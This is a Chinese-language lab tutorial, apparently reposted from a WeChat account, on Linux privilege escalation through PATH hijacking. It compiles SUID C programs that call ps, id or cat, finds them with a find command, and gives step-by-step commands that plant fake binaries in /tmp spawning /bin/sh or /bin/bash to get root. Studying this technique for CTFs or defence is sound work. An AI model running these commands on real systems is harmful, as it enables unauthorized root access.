在這篇文章中,我將會為大家介紹一些使用環(huán)境變量進(jìn)行Linux提權(quán)的方法,包括在CTF challenges中使用到一些的技術(shù)。話不多說,讓我們進(jìn)入正題!
介紹
PATH是Linux和類Unix操作系統(tǒng)中的環(huán)境變量,它指定存儲可執(zhí)行程序的所有bin和sbin目錄。當(dāng)用戶在終端上執(zhí)行任何命令時(shí),它會通過PATH變量來響應(yīng)用戶執(zhí)行的命令,并向shell發(fā)送請求以搜索可執(zhí)行文件。超級用戶通常還具有/sbin和/usr/sbin條目,以便于系統(tǒng)管理命令的執(zhí)行。
使用echo命令顯示當(dāng)前PATH環(huán)境變量:
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
如果你在PATH變量中看到‘.’,則意味著登錄用戶可以從當(dāng)前目錄執(zhí)行二進(jìn)制文件/腳本,這對于攻擊者而言也是一個(gè)提權(quán)的絕好機(jī)會。這里之所以沒有指定程序的完整路徑,往往是因?yàn)榫帉懗绦驎r(shí)的疏忽造成的。
方法1
Ubuntu LAB SET_UP
當(dāng)前,我們位于/home/raj目錄,我們將在其中創(chuàng)建一個(gè)名為/script的新目錄。在script目錄下,我們將編寫一個(gè)小型的c程序來調(diào)用系統(tǒng)二進(jìn)制文件的函數(shù)。
pwdmkdir scriptcd /scriptnano demo.c
正如你在demo.c文件中看到的,我們正在調(diào)用ps命令。
然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權(quán)限。
lsgcc demo.c -o shellchmod u+s shellls -la shell
受害者VM機(jī)器
假設(shè)我們已經(jīng)成功滲透目標(biāo),并進(jìn)入提權(quán)階段。我們通過ssh成功登錄到了受害者的機(jī)器。然后使用Find命令,搜索具有SUID或4000權(quán)限的文件。
find / -perm -u=s -type f 2>/dev/null
通過上述命令,攻擊者可以枚舉出目標(biāo)系統(tǒng)上所有的可執(zhí)行文件,這里可以看到/home/raj/script/shell具有SUID權(quán)限。
進(jìn)入到/home/raj/script目錄,可以看到該目錄下有一個(gè)可執(zhí)行的“shell”文件,我們運(yùn)行這個(gè)文件。
/home/raj/script
Echo命令
cd /tmpecho “/bin/sh” > pschmod 777 psecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shellwhoami
Copy命令
cd /home/raj/script/cp /bin/sh /tmp/psecho $PATHexport PATH=/tmp:$PATH./shellwhoami
Symlink命令
ln -s /bin/sh psexport PATH=.:$PATH./shellidwhoami
注意:符號鏈接也叫軟鏈接,如果目錄具有完全權(quán)限,則它將成功運(yùn)行。在Ubuntu中symlink情況下,我們已經(jīng)賦予了/script目錄777的權(quán)限。
因此,攻擊者可以操縱環(huán)境變量PATH來進(jìn)行提權(quán),并獲得root訪問權(quán)限。
方法2
Ubuntu LAB SET_UP
重復(fù)上述步驟配置你的實(shí)驗(yàn)環(huán)境,現(xiàn)在在腳本目錄中,我們將編寫一個(gè)小型的c程序來調(diào)用系統(tǒng)二進(jìn)制文件的函數(shù)。
pwdmkdir scriptcd /scriptnano demo.c
正如你在demo.c文件中看到的,我們正在調(diào)用id命令。
然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權(quán)限。
lsgcc demo.c -o shell2chmod u+s shell2ls -la shell2
受害者VM機(jī)器
同樣,假設(shè)我們已經(jīng)成功滲透目標(biāo),并進(jìn)入提權(quán)階段。我們通過ssh成功登錄到了受害者的機(jī)器。然后使用Find命令,搜索具有SUID或4000權(quán)限的文件。在這里,我們可以看到/home/raj/script/shell2具有SUID權(quán)限。
find / -perm -u=s -type f 2>/dev/null
進(jìn)入到/home/raj/script目錄,可以看到該目錄下有一個(gè)可執(zhí)行的“shell2”文件,我們運(yùn)行這個(gè)文件。
cd /home/raj/scriptls./shell2
Echo命令
cd /tmpecho “/bin/sh” > idchmod 777 idecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shell2whoami
方法3
Ubuntu LAB SET_UP
重復(fù)上述步驟配置你的實(shí)驗(yàn)環(huán)境。正如你在demo.c文件中看到的,我們正在調(diào)用cat命令從etc/passwd文件中讀取內(nèi)容。
然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權(quán)限。
lsgcc demo.c -o rajchmod u+s rajls -la raj
受害者VM機(jī)器
同樣,假設(shè)我們已經(jīng)成功滲透目標(biāo),并進(jìn)入提權(quán)階段,通過執(zhí)行以下命令查看sudo用戶列表。
find / -perm -u=s -type f 2>/dev/null
在這里,我們可以看到/home/raj/script/raj具有SUID權(quán)限,進(jìn)入到home/raj/script/目錄,可以看到該目錄下有一個(gè)可執(zhí)行的“raj”文件。所以當(dāng)我們運(yùn)行這個(gè)文件時(shí),它會把etc/passwd文件作為輸出結(jié)果。
cd /home/raj/script/ls./raj
Nano**編輯器**
cd /tmpnano cat
現(xiàn)在,當(dāng)終端打開時(shí)輸入/bin/bash并保存。
chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./rajwhoami
方法4
Ubuntu LAB SET_UP
重復(fù)上述步驟配置你的實(shí)驗(yàn)環(huán)境。正如你在demo.c文件中看到的,我們正在調(diào)用cat命令讀取/home/raj中的msg.txt中的內(nèi)容,但/home/raj中并沒有這樣的文件。
然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權(quán)限。
lsgcc demo.c -o ignitechmod u+s ignitels -la ignite
受害者VM機(jī)器
同樣,假設(shè)我們已經(jīng)成功滲透目標(biāo),并進(jìn)入提權(quán)階段,通過執(zhí)行以下命令查看sudo用戶列表
find / -perm -u=s -type f 2>/dev/null
在這里,我們可以看到/home/raj/script/ignite具有SUID權(quán)限,進(jìn)入到/home/raj/script目錄,可以看到該目錄下有一個(gè)可執(zhí)行的“ignite”文件。所以當(dāng)我們運(yùn)行這個(gè)文件時(shí),它會報(bào)錯(cuò)“cat: /home/raj/msg.txt”文件或目錄不存在。
cd /home/raj/scriptls./ignite
Vi編輯器
cd /tmpvi cat
現(xiàn)在,當(dāng)終端打開時(shí)輸入/bin/bash并保存。
chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./ignitewhoami
-
Linux
+關(guān)注
關(guān)注
87文章
11489瀏覽量
213158 -
UNIX
+關(guān)注
關(guān)注
0文章
296瀏覽量
42186 -
ECHO
+關(guān)注
關(guān)注
1文章
73瀏覽量
27676
原文標(biāo)題:黑客的Linux神技能:使用環(huán)境變量進(jìn)行提權(quán)
文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。
發(fā)布評論請先 登錄
迅為RK3588開發(fā)板RKLLM-Toolkit 環(huán)境搭建安裝 Miniconda
飛凌嵌入式ElfBoard ELF 1板卡-uboot常用命令之環(huán)境變量命令
飛凌嵌入式ElfBoard ELF 1板卡-Uboot常用命令之查看命令
SV601187的詳細(xì)資料合集包括了電路圖,原理圖和介紹等詳細(xì)資料概述
從零開始馴服Linux(一):ZYNQ-Linux啟動文件構(gòu)建全解析
L298N-驅(qū)動直流電機(jī)和步進(jìn)電機(jī)的詳細(xì)資料大總結(jié)
USB 一線通監(jiān)控副屏

評論